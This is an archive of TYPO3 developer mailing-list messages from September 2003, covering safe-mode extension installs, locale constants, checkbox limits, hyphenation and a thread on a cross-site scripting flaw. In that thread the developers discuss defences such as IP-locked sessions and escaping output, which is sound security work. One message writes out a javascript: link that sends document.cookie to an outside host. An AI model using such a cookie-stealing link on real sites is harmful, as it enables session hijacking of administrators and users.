From mail at schmidt-net.via.t-online.de Tue Sep 23 13:02:18 2003 From: mail at schmidt-net.via.t-online.de (Hannes Schmidt) Date: Tue, 23 Sep 2003 13:02:18 +0200 Subject: [Typo3-dev] Re:Re: Installing extension whith SAFE_MODE References: Message-ID: Try disabling safe-mode for the installation of the extension, if you can; that is. For me that works. I cannot install any extension when safe-mode is on. G*d knows why ... ----- Original Message ----- From: "C?dric Moulard" To: Sent: Tuesday, September 23, 2003 11:01 AM Subject: [Typo3-dev] Re:Re: Installing extension whith SAFE_MODE Hi, i tried to install the template auto-parser, the exact message is: Warning: is_dir() [function.is-dir]: SAFE MODE Restriction in effect. The script whose uid is 842 is not allowed to access /home/opt3/local/apache/htdocs/sites/i/intolerage.com/typo3conf/ext/automake template owned by uid 2420 in /home/opt3/local/apache/htdocs/sites/i/intolerage.com/typo3/mod/tools/em/ind ex.php on line 1677 Error: The directory '/opt3/local/apache/htdocs/sites/i/intolerage.com/typo3conf/ext/automaketemp late/pi1/' could not be created... When i uploaded files on the server i did not shown the extension in the "available for installing" section. I modified localconf.php too(i have added the extension in list). I think i have correct permission. Cedric >From: "Robert Lemke" >Subject: Re: [Typo3-dev] Installing extension whith SAFE_MODE >Date: Tue, 23 Sep 2003 00:49:19 +0200 >To: typo3-dev at lists.netfielders.de >Reply-To: typo3-dev at lists.netfielders.de > >Hi C?dric, > >C?dric Moulard wrote: >> When i'm trying to install an extension with the manager i've got an >> error due to SAFE_MODE. > >Which error actually? Can you provide the exact message together with the >name of the extension you installed? > >> So i tryed to install manually the extension an i placed all the file >> in correct folder but but the extension manager don't show it. > >It should at least be shown in the "available for installing" section, did >you check file permissions? If you upload files manually, apache might >not have the correct permissions (depending on the config of the server) > >> Is there a procedure to install manually an extension or a >> possibility to use the manager with SAFE_MODE? > >Generally there is no reason for installing extensions manually. It should >work >in SAFE_MODE too. > >-- >robert > _______________________________________________ Typo3-dev mailing list Typo3-dev at lists.netfielders.de http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev From Martin.T.Kutschker at blackbox.net Tue Sep 23 14:40:45 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Tue, 23 Sep 2003 14:40:45 +0200 (METDST) Subject: [Typo3-dev] setlocale and constants Message-ID: Hi! Since what PHP version are constants defined for the categories? The dev version uses constants, 3.5 strings. Just in case that 4.0.6 does not provide the constants I suggest something along these lines: defined("LC_COLLATE") ? constant("LC_COLLATE") : "LC_COLLATE" Masi PS: How about a 3.5.1 that fixes small things like these. From typo3_db at snowflake.ch Tue Sep 23 15:00:39 2003 From: typo3_db at snowflake.ch (Dominic Brander) Date: Tue, 23 Sep 2003 15:00:39 +0200 Subject: [Typo3-dev] Security Problem - HTML Message-ID: Let's start the security-discussion in this list. cheers -- dominic brander ________________________________________________________________________ dominic brander - snowflake productions gmbh tel. CH +41 1 451 75 71 - fax. CH +41 1 451 63 80 tel. D +49 89 31 56 78 15 - fax. D +49 89 31 56 78 16 mobile +41 76 493 25 88 http://www.snowflake.ch From peter.russ at 4dfx.de Tue Sep 23 15:04:26 2003 From: peter.russ at 4dfx.de (Peter Russ :: 4Dfx) Date: Tue, 23 Sep 2003 15:04:26 +0200 Subject: [Typo3-dev] setlocale and constants In-Reply-To: References: Message-ID: Martin Kutschker schrieb: [...] > > Just in case that 4.0.6 does not provide the constants I suggest something along these lines: > > defined("LC_COLLATE") ? constant("LC_COLLATE") : "LC_COLLATE" constant (PHP 4 >= 4.0.4) constant -- Returns the value of a constant Regs. Peter. From hoang at planb-media.de Tue Sep 23 15:20:43 2003 From: hoang at planb-media.de (Chi Hoang) Date: Tue, 23 Sep 2003 15:20:43 +0200 Subject: [Typo3-dev] atag_to_http References: Message-ID: Chi Hoang wrote: > Because callUserFunction() looks in localconf.php blabla It is not callUserFunction() but function makeInstance($className) . Still I got problems with atag_to_http with another Typo3 Installtion! Strange... Greets, C. From peter.russ at 4dfx.de Tue Sep 23 15:38:52 2003 From: peter.russ at 4dfx.de (Peter Russ :: 4Dfx) Date: Tue, 23 Sep 2003 15:38:52 +0200 Subject: [Typo3-dev] Security Problem - HTML In-Reply-To: References: Message-ID: Dominic Brander schrieb: > Let's start the security-discussion in this list. > > cheers > Would prefer a different way to discuss this as there might be some issues that could be solved first before turned to public. But I have no idea how this could/should be organized. Regs. Peter. www.ebconclub.net From chris at byters.de Tue Sep 23 15:54:50 2003 From: chris at byters.de (Christoph Moeller) Date: Tue, 23 Sep 2003 15:54:50 +0200 Subject: [Typo3-dev] Security Problem - HTML In-Reply-To: References: Message-ID: Dominic Brander schrieb: > Let's start the security-discussion in this list. hmm, just had a quick look into typo3/t3lib/class.t3lib_parsehtml.php, around line 466. There's the function HTMLcleaner which could (? i.e. if someone still understands this code monster *g*) be extended to parse for suspicious cookie stuff in the content's HTML. I think it's not really possible to distinguish between malicious and good JS cookie code inserted as HTML CE. For example there always could be a white-hat use for manually inserted document.cookie's if someone knows what he's doing. Just an idea: warning messages to the admin telling about JS-cookie usage in HTML content elements? Not really convenient - I know - but anyone a better idea? This is a browser/general cookie problem... Chris From typo3_db at snowflake.ch Tue Sep 23 16:00:42 2003 From: typo3_db at snowflake.ch (Dominic Brander) Date: Tue, 23 Sep 2003 16:00:42 +0200 Subject: [Typo3-dev] Security Problem - HTML In-Reply-To: References: Message-ID: I think this is a good way to go. we can not give a 100% security as this is not possible. but we can give some tools to admins to control at least a few things. Christoph Moeller wrote: > Dominic Brander schrieb: > >> Let's start the security-discussion in this list. > > > hmm, just had a quick look into typo3/t3lib/class.t3lib_parsehtml.php, > around line 466. There's the function HTMLcleaner which could (? i.e. if > someone still understands this code monster *g*) be extended to parse > for suspicious cookie stuff in the content's HTML. > > I think it's not really possible to distinguish between malicious and > good JS cookie code inserted as HTML CE. For example there always could > be a white-hat use for manually inserted document.cookie's if someone > knows what he's doing. > > Just an idea: warning messages to the admin telling about JS-cookie > usage in HTML content elements? Not really convenient - I know - but > anyone a better idea? This is a browser/general cookie problem... > > Chris > > _______________________________________________ > Typo3-dev mailing list > Typo3-dev at lists.netfielders.de > http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev > > -- dominic brander ________________________________________________________________________ dominic brander - snowflake productions gmbh tel. CH +41 1 451 75 71 - fax. CH +41 1 451 63 80 tel. D +49 89 31 56 78 15 - fax. D +49 89 31 56 78 16 mobile +41 76 493 25 88 http://www.snowflake.ch From hoang at planb-media.de Tue Sep 23 16:14:05 2003 From: hoang at planb-media.de (Chi Hoang) Date: Tue, 23 Sep 2003 16:14:05 +0200 Subject: [Typo3-dev] atag_to_http References: Message-ID: Chi Hoang wrote: > It is not callUserFunction() but function makeInstance($className) . > Still I got problems with atag_to_http with another Typo3 > Installtion! Strange... Uhm, was my fault (a "}" was missing). Everything is right now. Thank you for you attention Greets, Chi From chris at byters.de Tue Sep 23 16:17:09 2003 From: chris at byters.de (Christoph Moeller) Date: Tue, 23 Sep 2003 16:17:09 +0200 Subject: [Typo3-dev] Security Problem - HTML In-Reply-To: References: Message-ID: Dominic Brander schrieb: > I think this is a good way to go. > we can not give a 100% security as this is not possible. > but we can give some tools to admins to control at least a few things. Yes. That way no admin could be tricked into viewing the manipulated FE page. btw: I re-thought my suggestion about HTMLcleaner and thought it might be better to experiment with the functions involved with HTMLparser_db since HTMLcleaner is IMO called upon every page/CE delivery...imagine the heap of warning mails ;) Still searching for the right hook in the sources... Chris From r.fritz at colorcube.de Tue Sep 23 16:19:09 2003 From: r.fritz at colorcube.de (=?iso-8859-1?q?Ren=E9=20Fritz?=) Date: Tue, 23 Sep 2003 16:19:09 +0200 Subject: [Typo3-dev] Security Problem - HTML In-Reply-To: References: Message-ID: Hi I read the note on heise.de which I found described a little confusing and not very clear. But they say: "Because TYPO3 don't check the users IP address ...". So why not make the security stronger than to make workarounds. Which means to include the IP from where a user logged in, in the current session. Then an attacker have to steal the cookie AND have to simulate the IP which is really hard to do. Ren? -- COLORCUBE digital media lab www.colorcube.de From chris at byters.de Tue Sep 23 16:31:12 2003 From: chris at byters.de (Christoph Moeller) Date: Tue, 23 Sep 2003 16:31:12 +0200 Subject: [Typo3-dev] Security Problem - HTML In-Reply-To: References: Message-ID: Ren? Fritz schrieb: > So why not make the security stronger than to make workarounds. Which means to > include the IP from where a user logged in, in the current session. > > Then an attacker have to steal the cookie AND have to simulate the IP which is > really hard to do. Good one - /me taking the wooden board off of his forehead... Should be fairly more easy than fiddling with regexp's to do malicious html code detection/notification. Is that a big deal in terms of code changes? I personally don't exactly know at what places the BE cookie is checked for. Chris From typo3_db at snowflake.ch Tue Sep 23 16:34:19 2003 From: typo3_db at snowflake.ch (Dominic Brander) Date: Tue, 23 Sep 2003 16:34:19 +0200 Subject: [Typo3-dev] Security Problem - HTML In-Reply-To: References: Message-ID: good idea! Christoph Moeller wrote: > Ren? Fritz schrieb: > >> So why not make the security stronger than to make workarounds. Which >> means to include the IP from where a user logged in, in the current >> session. >> >> Then an attacker have to steal the cookie AND have to simulate the IP >> which is really hard to do. > > > Good one - /me taking the wooden board off of his forehead... > Should be fairly more easy than fiddling with regexp's to do malicious > html code detection/notification. > > Is that a big deal in terms of code changes? I personally don't exactly > know at what places the BE cookie is checked for. > > Chris > > _______________________________________________ > Typo3-dev mailing list > Typo3-dev at lists.netfielders.de > http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev > > -- dominic brander ________________________________________________________________________ dominic brander - snowflake productions gmbh tel. CH +41 1 451 75 71 - fax. CH +41 1 451 63 80 tel. D +49 89 31 56 78 15 - fax. D +49 89 31 56 78 16 mobile +41 76 493 25 88 http://www.snowflake.ch From r.fritz at colorcube.de Tue Sep 23 16:40:26 2003 From: r.fritz at colorcube.de (=?iso-8859-1?q?Ren=E9=20Fritz?=) Date: Tue, 23 Sep 2003 16:40:26 +0200 Subject: [Typo3-dev] Security Problem - HTML In-Reply-To: References: Message-ID: > Is that a big deal in terms of code changes? I personally don't exactly > know at what places the BE cookie is checked for. I think it can be done with an extension. I'll have a look later this evening. Ren? -- COLORCUBE digital media lab www.colorcube.de From peter.russ at 4dfx.de Tue Sep 23 16:41:26 2003 From: peter.russ at 4dfx.de (Peter Russ :: 4Dfx) Date: Tue, 23 Sep 2003 16:41:26 +0200 Subject: [Typo3-dev] Security Problem - HTML In-Reply-To: References: Message-ID: Christoph Moeller schrieb: > Ren? Fritz schrieb: > >> So why not make the security stronger than to make workarounds. Which >> means to include the IP from where a user logged in, in the current >> session. >> >> Then an attacker have to steal the cookie AND have to simulate the IP >> which is really hard to do. > > > Good one - /me taking the wooden board off of his forehead... > Should be fairly more easy than fiddling with regexp's to do malicious > html code detection/notification. > > Is that a big deal in terms of code changes? I personally don't exactly > know at what places the BE cookie is checked for. > Why not handle that in JS and just extend the onload function in the way you feel confident. And then it's up to you to decide what's black or white and if it make's sense to forward a cookie by GET and if the IP is ok. I guess this would produce less overhead than scanning the whole page. Regs. Peter. www.ebconclub.net From rl at robertlemke.de Tue Sep 23 16:41:29 2003 From: rl at robertlemke.de (Robert Lemke) Date: Tue, 23 Sep 2003 16:41:29 +0200 Subject: [Typo3-dev] Security Problem - HTML References: Message-ID: Hi, it seems like in my installation of TYPO3.6.0dev the problem DOES NOT occur, the malicious part is just filtered out. But I have to find out where it's actually filtered. You see this: ');"> I think it's because of TYPO3 trying to make the source code XHTML compliant, note how the IMG tag changed to img! -- robert From chris at byters.de Tue Sep 23 16:49:40 2003 From: chris at byters.de (Christoph Moeller) Date: Tue, 23 Sep 2003 16:49:40 +0200 Subject: [Typo3-dev] Security Problem - HTML In-Reply-To: References: Message-ID: Ren?, are you at it, already? I guess extending user->["ses_data"] with the user's IP might be all we need. But where does function setAndSaveSessionData($key, $data) get called? grep is giving no results. Chris From rl at robertlemke.de Tue Sep 23 16:58:32 2003 From: rl at robertlemke.de (Robert Lemke) Date: Tue, 23 Sep 2003 16:58:32 +0200 Subject: [Typo3-dev] Security Problem - HTML References: Message-ID: Christoph Moeller wrote: > Ren?, are you at it, already? Yes, he's at it. -- robert From chris at byters.de Tue Sep 23 17:10:47 2003 From: chris at byters.de (Christoph Moeller) Date: Tue, 23 Sep 2003 17:10:47 +0200 Subject: [Typo3-dev] Security Problem - HTML In-Reply-To: References: Message-ID: Robert Lemke schrieb: > Yes, he's at it. Ok :) Nice evening guys, Chris From peter.russ at 4dfx.de Tue Sep 23 17:31:54 2003 From: peter.russ at 4dfx.de (Peter Russ :: 4Dfx) Date: Tue, 23 Sep 2003 17:31:54 +0200 Subject: [Typo3-dev] Security Problem - HTML In-Reply-To: References: Message-ID: Ren? Fritz schrieb: > Hi > > I read the note on heise.de which I found described a little confusing and not > very clear. > But they say: "Because TYPO3 don't check the users IP address ...". > > So why not make the security stronger than to make workarounds. Which means to > include the IP from where a user logged in, in the current session. This might be a problem as the IP address 1) might change if it is a dialed connection or with timeout 2) with router you might see only 1 IP address for tons of user. So if the attacker is within the same company -> no win. So you could also check the port number. But this changes on every request. Solutions: a) filter at input, i.e. disable HTML-input type and in RTE check for malicious words (admin definable) before writing to DB. b) extend Javascript On*-methods. So offering a solution should be done that way that other projects which are included into Typo extensions or contribute may benefit (e.g. phpBB and here the problem might even exists with unkown users) as the article on Heise was revised and no longer limits the Exploit to Typo3 ;) Regs. Peter. From hoang at planb-media.de Tue Sep 23 18:08:58 2003 From: hoang at planb-media.de (Chi Hoang) Date: Tue, 23 Sep 2003 18:08:58 +0200 Subject: [Typo3-dev] module_sys_dmail_html field in TBE References: Message-ID: J?rgen Pietschmann wrote: > or can anyone tell me > how to use the fieldname_passthrough. Outcomment these lines in ext_tables.php from ext direct mail // tt_address modified t3lib_div::loadTCA("tt_address"); t3lib_extMgm::addTCAcolumns("tt_address",array( "module_sys_dmail_category" => Array("config"=>array("type"=>"passthrough")), "module_sys_dmail_html" => Array("config"=>array("type"=>"passthrough")) )); $TCA["tt_address"]["feInterface"]["fe_admin_fieldList"].=",module_sys_dmail_ category,module_sys_dmail_html"; like this /* // tt_address modified t3lib_div::loadTCA("tt_address"); .... .... .... */ and it should work! I did not test it yet, but in BE you can see the field. passthrough seems to be a switch to unhide/hide fields. Greets, Chi From rl at robertlemke.de Tue Sep 23 19:18:19 2003 From: rl at robertlemke.de (Robert Lemke) Date: Tue, 23 Sep 2003 19:18:19 +0200 Subject: [Typo3-dev] Security Problem - HTML References: Message-ID: See the small quickfix announced in the english list. -- robert From r.fritz at colorcube.de Tue Sep 23 20:24:34 2003 From: r.fritz at colorcube.de (=?iso-8859-1?q?Ren=E9=20Fritz?=) Date: Tue, 23 Sep 2003 20:24:34 +0200 Subject: [Typo3-dev] Security Problem - HTML In-Reply-To: References: Message-ID: > This might be a problem as the IP address > 1) might change if it is a dialed connection or with timeout > 2) with router you might see only 1 IP address for tons of user. So if > the attacker is within the same company -> no win. So you could also > check the port number. But this changes on every request. Yes that's are the drawback's. But I will provide an extension which will check the IP. But I really don't care about the described security problem. Anyway, it would be nice if somebody can provide an english description about the problem I can publish with the extension documentation. > and here the problem might even exists with unkown users) as the article > on Heise was revised and no longer limits the Exploit to Typo3 ;) Yes but still there you can read "Thomas Bley from Simple Groupware Solutions found *several* security holes ..." What does that mean. And they refer to general PHP cross site problems, but this problem is related to JS, or not? Ren? -- COLORCUBE digital media lab www.colorcube.de From Martin.T.Kutschker at blackbox.net Wed Sep 24 08:58:23 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Wed, 24 Sep 2003 08:58:23 +0200 (METDST) Subject: xhmtl (was: [Typo3-dev] Security Problem - HTML) Message-ID: From: "Robert Lemke" Date: Tue, 23 Sep 2003 16:41:29 +0200 > "document.write('');"> > > I think it's because of TYPO3 trying to make the source code XHTML > compliant, note how the IMG tag changed to img! Folks, don't forget the "closing slash"! Every "standalone" tag (I don't remember the correct term right now) has to be "closed" with a slash before the right angle bracket (eg ,
,
, etc). Masi From Martin.T.Kutschker at blackbox.net Wed Sep 24 09:05:47 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Wed, 24 Sep 2003 09:05:47 +0200 (METDST) Subject: [Typo3-dev] Security Problem - HTML Message-ID: Date: Tue, 23 Sep 2003 17:31:54 +0200 From: "Peter Russ :: 4Dfx" Ren? Fritz schrieb: >> So why not make the security stronger than to make workarounds. Which >> means to include the IP from where a user logged in, in the current >> session. > > This might be a problem as the IP address > 1) might change if it is a dialed connection or with timeout > 2) with router you might see only 1 IP address for tons of user. 3) A proxy might hide the IP at all or change it constantly! So, yes possibly you won't get any enhanced security. OTOH little efforst for little security seems to be justified. But make it configurable per session. So the users can temporarily disable it if they are behind a proxy or a firewall. BTW, it'd be nice to offer IP checking also for FE users. Masi From kasper at typo3.com Wed Sep 24 09:07:35 2003 From: kasper at typo3.com (=?us-ascii?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Wed, 24 Sep 2003 09:07:35 +0200 Subject: [Typo3-dev] Security Problem - HTML In-Reply-To: References: Message-ID: My opinion: - The security should be heightened with check for the IP in addition to the cookie. That check will be configurable in the TYPO3_CONF_VARS (for both FE + BE logins) with a default value of "enabled" (thus people with isdn/phonelines can still disable it if annoying). Apart from that what they describe is not a bug but a feature: The point of the HTML element is that the user can insert HTML! They can spoil many things with that. In fact the report is not very visionary since a much smarter approach would be to [...i'll keep the details for myself so kiddies don't get funny ideas...] - thus you get yourself a nice backend account with admin-rights and don't have to worry about the IP-lock we are going to implement now! OK, so let us parse the HTML - however that is not even close to a solution since most other elements allows HTML. So what about parsing all text? Well, backend administrators can still insert links like "javascript:document.location='http://mydomain/?cookie='+document.cookie" - although it requires people to click the link which the other solution doesn't The solution is of course to highten security with additional measures like the existing IP-locking, with buglar-alarms (like the mail-warnings), http-auth protection, etc. Further backend users should be "trusted" users to some degree and bitching over a backend users ability to enter harmful HTML is really nothing compared to the potential number of security holes in extensions where users using the *website* (non-trusted) could inject HTML or more potentially a "javascript:...." as a URL in a messageboard. But ok, lets make the IP-lock. But there is no way around it; your backend users are given a certain amount of potential to harm you and your site and you should therefore be able to trust them. And then lets focus on the real danger which are frontend plugins which allows outsiders to enter information which are subsequently displayed on the webpage. For extension designers and others interested, please read the security section in "Inside TYPO3" (or is it the Coding Guidelines document?) where it is clearly explained what measures you can take against XSS (Cross Site Scripting). You can start with simply remembering to pipe all your output through "htmlspecialchars()" ... (which is not done in the HTML CE since ... that is the point!) - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From kasper at typo3.com Wed Sep 24 09:07:37 2003 From: kasper at typo3.com (=?us-ascii?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Wed, 24 Sep 2003 09:07:37 +0200 Subject: [Typo3-dev] more than 10 check boxes In-Reply-To: References: Message-ID: The multiple checkboxes are returned to the backend as an integer where each bit is a checkbox. Since JavaScript is used to create the integer from the boxes it is JavaScript which turned out to be able to do this operation with only 10 bits. This is the reason why. Not TYPO3 or MySQL, but JavaScript. God bless - kasper *********** REPLY SEPARATOR *********** On 22-09-2003 at 22:14 Trent-MYOLife wrote: >Hi All > >I'm trying to extend and build extensions and want to have more than 10 >categories as a check-box field in the database. I've hit the doco in >"Backend Programming" and it says 10 is the max. How do I make more? Is >this >a limitation of TYPO3 or mySQL? I can't believe I have to create 4 fields >of >10 to have 35 categories. And what will such a structure mean to coders of >the front-end? > >I only need to nail this and I'm sold on TYPO3. I keep reading it can do >anything but find this somewhat limiting. Please help. > >Best Regards > >Trent Adamson >Prod Site: www.MYOLife.net >Dev Site: myol.tenstream.net >Pilot Site: www.alphalink.com.au/~trentj/ >ICE Webbing Solutions & Super Grouping eRooms >+61 404 159 100 > > >_______________________________________________ >Typo3-dev mailing list >Typo3-dev at lists.netfielders.de >http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev God bless - kasper - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From Martin.T.Kutschker at blackbox.net Wed Sep 24 09:11:46 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Wed, 24 Sep 2003 09:11:46 +0200 (METDST) Subject: [Typo3-dev] Security Problem - HTML Message-ID: From: Ren? Fritz To: typo3-dev at lists.netfielders.de > But I really don't care about the described security problem. Nor do I really, but... It's all about press releases. If you or anyone creates an extension this looks like a private matter. It lacks the air of an official release or patch. I recommend an official bug fix release just for the sake of reputation. People don't really care, but terms like "Typo3 is not secure" might stick in their minds. They have to be countered by "yeahm but we fixed it immediately/in due time". Just my 2? Masi From kasper at typo3.com Wed Sep 24 09:22:48 2003 From: kasper at typo3.com (=?ISO-8859-1?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Wed, 24 Sep 2003 09:22:48 +0200 Subject: [Typo3-dev] Security Problem - HTML In-Reply-To: References: Message-ID: If someone (I trust) can make this patch I will gladly announce a download link on the frontpage by tonight. If needed sooner you will have to ask Daniel H. for that! God bless - kasper *********** REPLY SEPARATOR *********** On 24-09-2003 at 09:11 Martin Kutschker wrote: >From: Ren? Fritz >To: typo3-dev at lists.netfielders.de > >> But I really don't care about the described security problem. > >Nor do I really, but... It's all about press releases. If you or anyone >creates an extension this looks like a private matter. It lacks the air of >an official release or patch. > >I recommend an official bug fix release just for the sake of reputation. > >People don't really care, but terms like "Typo3 is not secure" might stick >in their minds. They have to be countered by "yeahm but we fixed it >immediately/in due time". > >Just my 2? >Masi > > >_______________________________________________ >Typo3-dev mailing list >Typo3-dev at lists.netfielders.de >http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev God bless - kasper - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From rl at robertlemke.de Wed Sep 24 09:48:56 2003 From: rl at robertlemke.de (Robert Lemke) Date: Wed, 24 Sep 2003 09:48:56 +0200 Subject: [Typo3-dev] xhmtl (was: [Typo3-dev] Security Problem - HTML) References: Message-ID: Martin Kutschker wrote: > Folks, don't forget the "closing slash"! Every "standalone" tag (I > don't remember the correct term right now) has to be "closed" with a > slash before the right angle bracket (eg ,
,
, > etc). That's what I thought, too. That malicious code was not XHTML compliant. Bad style ... -- robert From Martin.T.Kutschker at blackbox.net Wed Sep 24 09:50:47 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Wed, 24 Sep 2003 09:50:47 +0200 (METDST) Subject: [Typo3-dev] setlocale and constants Message-ID: Date: Tue, 23 Sep 2003 15:04:26 +0200 From: "Peter Russ :: 4Dfx" Martin Kutschker schrieb: [...] >> >> Just in case that 4.0.6 does not provide the constants I suggest >> something along these lines: >> >> defined("LC_COLLATE") ? constant("LC_COLLATE") : "LC_COLLATE" > >constant > (PHP 4 >= 4.0.4) > > constant -- Returns the value of a constant Thanx for the answer, but my question/concern was about the actual constants LC_ALL. Since when has LC_ALL been defined as a constant? Masi From mail at schmidt-net.via.t-online.de Wed Sep 24 12:44:48 2003 From: mail at schmidt-net.via.t-online.de (Hannes Schmidt) Date: Wed, 24 Sep 2003 12:44:48 +0200 Subject: [Typo3-dev] Hyphenation Extension Message-ID: Hi, I am thinking about creating a Typo3 extension that automatically hyphenates (word-breaks) textual content objects using ­ entities. I found the very neat TeX::Hyphen Perl module, which uses TeX-style hyphenation dictionaries for the various languages and is capable of normal as well as German and Czech hyphenation rules. The downside is that it is sort of slow. Another difficulty is that the various browsers handle the soft hyphen ­ in different ways. IE on Windows implements the soft-hyphen correctly. Most other browsers Mozilla, Eudora, Netscape ignore it for word-breaking but do not display it either, which is acceptable. IE on Mac and Safari on Mac display it (IE shows it as a accented letter, Safari as a dash) and do not use it for word-breaking. This is not acceptable. Now, my idea is to create a backend extension providing an additional transformation for the RTE. That would cure the performance problem, since content is much less often edited by the backend than it is diplayed by the frontend. On the frontend, there should be a user-agent-specific flter which either transparently passes the ­ entities through or removes them. Do you think this approach is sensible? If yes, two more questions arise: 1) Is there an easy way to install a content filter in the frontent? 2) Can RTE transformations be chained; that is, can more than one transformation be active at the same time? If no, would it be difficult to implement a RTE transformation chain? From andreas at php4win.de Wed Sep 24 22:02:50 2003 From: andreas at php4win.de (Andreas Otto) Date: Wed, 24 Sep 2003 22:02:50 +0200 Subject: [Typo3-dev] API documentation Message-ID: Hi, I just had phpdoc run through t3lib and tslib to create an overview of the TYPO3 API. For those who are interested in the results they can be viewed at . Cheers, Andreas -- Andreas Otto Using PHP on Windows? www.php4win.de From kasper at typo3.com Thu Sep 25 00:14:30 2003 From: kasper at typo3.com (=?ISO-8859-1?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Thu, 25 Sep 2003 00:14:30 +0200 Subject: [Typo3-dev] Re: AW: [Typo3-metadev] Re: BE user IP locking / additional note on FE-created CE's? In-Reply-To: References: Message-ID: >Another thing kind of struck me when reading Ren?'s introduction in the >extension's manual: >maybe an addition should be made, stating that sites allowing their >users to post any new content via FE could be open to this "attack", as >well. For example, Luite's phpBB extension allows forum users to add a >signature/post containing the JS snippet. Possibly there are other FE >ext's that allow for this kind of compromising, as well? Exactly! The great danger is the frontend plugins which allows just that! The rules are: - Generally ALWAYS htmlspecialchars() your output from database - then you have secured it so far. - Be careful with database content going into attributes of elements: First of all, always htmlspecialchars() that as well. Secondly, for on*-handlers it's obviously dangerous. But also for regular URLs in which is probably the most potential thing to overlook - here people can place javascript with "javascript:....." And may I point everyones attension to the Cross Site Scripting (XSS) seciton which has already been written in one of the TYPO3 documents (Coding Guidelines I think it was...) - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From peter at kuehn.com Thu Sep 25 03:06:50 2003 From: peter at kuehn.com (Peter Kühn) Date: Thu, 25 Sep 2003 03:06:50 +0200 Subject: [Typo3-dev] more than 10 check boxes References: Message-ID: hi trent, why sticking to checkboxes? if you use select-boxes you have dynamically N, no need to change the ext when an option enters or has to be removed, users can give it a order; you have more options on less room on the screen etc. i allways use selectors if there are more than five options and our editors really love to work with them. greetinx pekue ----- Original Message ----- From: "Kasper Sk?rh?j" To: ; Sent: Wednesday, September 24, 2003 9:07 AM Subject: Re: [Typo3-dev] more than 10 check boxes The multiple checkboxes are returned to the backend as an integer where each bit is a checkbox. Since JavaScript is used to create the integer from the boxes it is JavaScript which turned out to be able to do this operation with only 10 bits. This is the reason why. Not TYPO3 or MySQL, but JavaScript. God bless - kasper *********** REPLY SEPARATOR *********** On 22-09-2003 at 22:14 Trent-MYOLife wrote: >Hi All > >I'm trying to extend and build extensions and want to have more than 10 >categories as a check-box field in the database. I've hit the doco in >"Backend Programming" and it says 10 is the max. How do I make more? Is >this >a limitation of TYPO3 or mySQL? I can't believe I have to create 4 fields >of >10 to have 35 categories. And what will such a structure mean to coders of >the front-end? > >I only need to nail this and I'm sold on TYPO3. I keep reading it can do >anything but find this somewhat limiting. Please help. > >Best Regards > >Trent Adamson >Prod Site: www.MYOLife.net >Dev Site: myol.tenstream.net >Pilot Site: www.alphalink.com.au/~trentj/ >ICE Webbing Solutions & Super Grouping eRooms >+61 404 159 100 > > >_______________________________________________ >Typo3-dev mailing list >Typo3-dev at lists.netfielders.de >http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev God bless - kasper - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com _______________________________________________ Typo3-dev mailing list Typo3-dev at lists.netfielders.de http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev From christian at jul.net Thu Sep 25 10:28:25 2003 From: christian at jul.net (Christian Jul Jensen) Date: Thu, 25 Sep 2003 10:28:25 +0200 Subject: [Typo3-dev] Cross site scripting (was: IP locking) References: Message-ID: On Thu, 25 Sep 2003 00:14:30 +0200, "Kasper Sk?rh?j" wrote: > And may I point everyones attension to the Cross Site Scripting (XSS) > seciton which has already been written in one of the TYPO3 documents > (Coding Guidelines I think it was...) Han anybodt located this I can't find it in any of the documents. I've looken thorugh 'Inside TYPO3' and 'Coding Guide Lines', but maybe it's well hidden. -- Christian Jul Jensen Freelance webprogrammer TYPO3 typehead Denmark From mascht at hotmail.com Thu Sep 25 15:40:59 2003 From: mascht at hotmail.com (Martin Klaus) Date: Thu, 25 Sep 2003 15:40:59 +0200 Subject: [Typo3-dev] typo3 security team Message-ID: Hi kaspar, hi list a well defined securitymanagement for solving and searching for (even before they occur) security vulnerabilities is getting more and more important for having a good reputie at the customers. The actually found 'security issue' was handled very fast! It's a relative small bug if you think about the backend, but very severe one if you think about the frontend as kaspar allready mentioned. But the bug fix is not not solving the problem itself (to many rights for users/editor adding content, or px. not following the coding guidelines for frontend plugins) so just an idea: How about a typo3 security team. Maybe it should be an integrated part of the upcomming extension review process too. It would be a great benefit to check at least for the very well known security problems known in web appliaction coding (sql-statement vulnerability, cross side scripting, not checking user input generally before save it to database... and so on) kaspar what do you think about that idea? - Martin KLAUS (klausm) (hope that's the correct list for this posting) ----------------------- The mailing list archive is found here: http://typo3.org/1427.0.html From andreas at php4win.de Thu Sep 25 15:59:56 2003 From: andreas at php4win.de (Andreas Otto) Date: Thu, 25 Sep 2003 15:59:56 +0200 Subject: [Typo3-dev] typo3 security team In-Reply-To: References: Message-ID: Hi Martin, On Thursday 25 September 2003 15:40, Martin Klaus wrote: > so just an idea: > How about a typo3 security team. Maybe it should be an integrated part of > the upcomming extension review process too. > > It would be a great benefit to check at least for the very well known > security problems known in web appliaction coding (sql-statement > vulnerability, cross side scripting, not checking user input generally > before save it to database... and so on) You are perfectly right. Now, the good news is that the ideas you have will be a part of the extension review process and are already described in a, not yet published, document called 'Extension Review Guidelines'. The extension review process is currently tested and once the testing is done a final version of the above mentioned document will be published. Cheers, Andreas -- Andreas Otto Using PHP on Windows? www.php4win.de From r.fritz at colorcube.de Thu Sep 25 16:44:14 2003 From: r.fritz at colorcube.de 